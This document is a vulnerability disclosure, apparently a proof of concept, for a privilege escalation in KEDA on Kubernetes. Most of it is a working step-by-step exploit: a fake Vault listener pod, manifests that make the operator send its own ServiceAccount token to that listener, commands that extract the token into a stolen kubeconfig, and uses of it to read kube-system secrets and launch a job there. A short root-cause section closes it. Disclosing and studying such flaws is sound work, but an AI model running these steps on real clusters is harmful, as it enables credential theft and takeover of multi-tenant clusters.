KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication

Attack

1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP PUT, so the listener must accept all methods.

kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: v1
kind: ConfigMap
metadata: { name: fake-vault-src, namespace: tenant-a }
data:
  vault.py: |
    import http.server, socketserver, sys, json
    class H(http.server.BaseHTTPRequestHandler):
        def log_message(self,*a): pass
        def _h(self):
            ln=int(self.headers.get('Content-Length') or 0)
            body=self.rfile.read(ln) if ln else b''
            sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()
            r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode()
            self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r)
        do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h
    socketserver.TCPServer.allow_reuse_address=True
    with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever()
---
apiVersion: v1
kind: Pod
metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }
spec:
  containers:
  - name: vault
    image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203
    command: ["python3","/src/vault.py"]
    volumeMounts: [{ name: src, mountPath: /src }]
  volumes: [{ name: src, configMap: { name: fake-vault-src } }]
---
apiVersion: v1
kind: Service
metadata: { name: fake-vault, namespace: tenant-a }
spec:
  selector: { app: fake-vault }
  ports: [{ port: 8200, targetPort: 8200 }]
EOF
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s

2. Create the TriggerAuthentication (the primitive) and a ScaledObject with a cron trigger referencing it. With authentication: kubernetes and no credential block, KEDA defaults credential.serviceAccount to the operator pod's own token path.

kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata: { name: vault-auth, namespace: tenant-a }
spec:
  hashiCorpVault:
    address: http://fake-vault.tenant-a.svc:8200   # tenant-controlled destination, no validation
    authentication: kubernetes
    mount: kubernetes
    role: poc
    secrets:
    - { parameter: anything, key: anything, path: secret/data/anything }
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata: { name: poc-so, namespace: tenant-a }
spec:
  scaleTargetRef: { name: poc-target }
  pollingInterval: 5
  minReplicaCount: 0
  maxReplicaCount: 2
  triggers:
  - type: cron
    metadata: { timezone: UTC, start: "0 * * * *", end: "30 * * * *", desiredReplicas: "1" }
    authenticationRef: { name: vault-auth }
---
apiVersion: apps/v1
kind: Deployment
metadata: { name: poc-target, namespace: tenant-a }
spec:
  replicas: 1
  selector: { matchLabels: { app: poc-target } }
  template:
    metadata: { labels: { app: poc-target } }
    spec:
      containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]
EOF

3. The operator reconciles the ScaledObject, builds the scaler, resolves the authenticationRef, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:

sleep 20
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'
# VAULT-LOGIN PUT /v1/auth/kubernetes/login
# {"jwt":"eyJhbGciOiJSUzI1NiIs...","role":"poc"}

4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:

STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \
  | sed -n 's/.*"jwt":"\([^"]*\)".*/\1/p' | head -1)
cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: stolen
  context: { cluster: kind, user: stolen }
current-context: stolen
users:
- name: stolen
  user: { token: ${STOLEN} }
EOF

kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# Username  system:serviceaccount:keda:keda-operator

kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d
# KEDA-F1-CANARY-7f3a9c2e

# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'
# job.batch/pwn created
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn
# pwn-q5j5s   1/1   Running   0   8s

Root cause

A namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.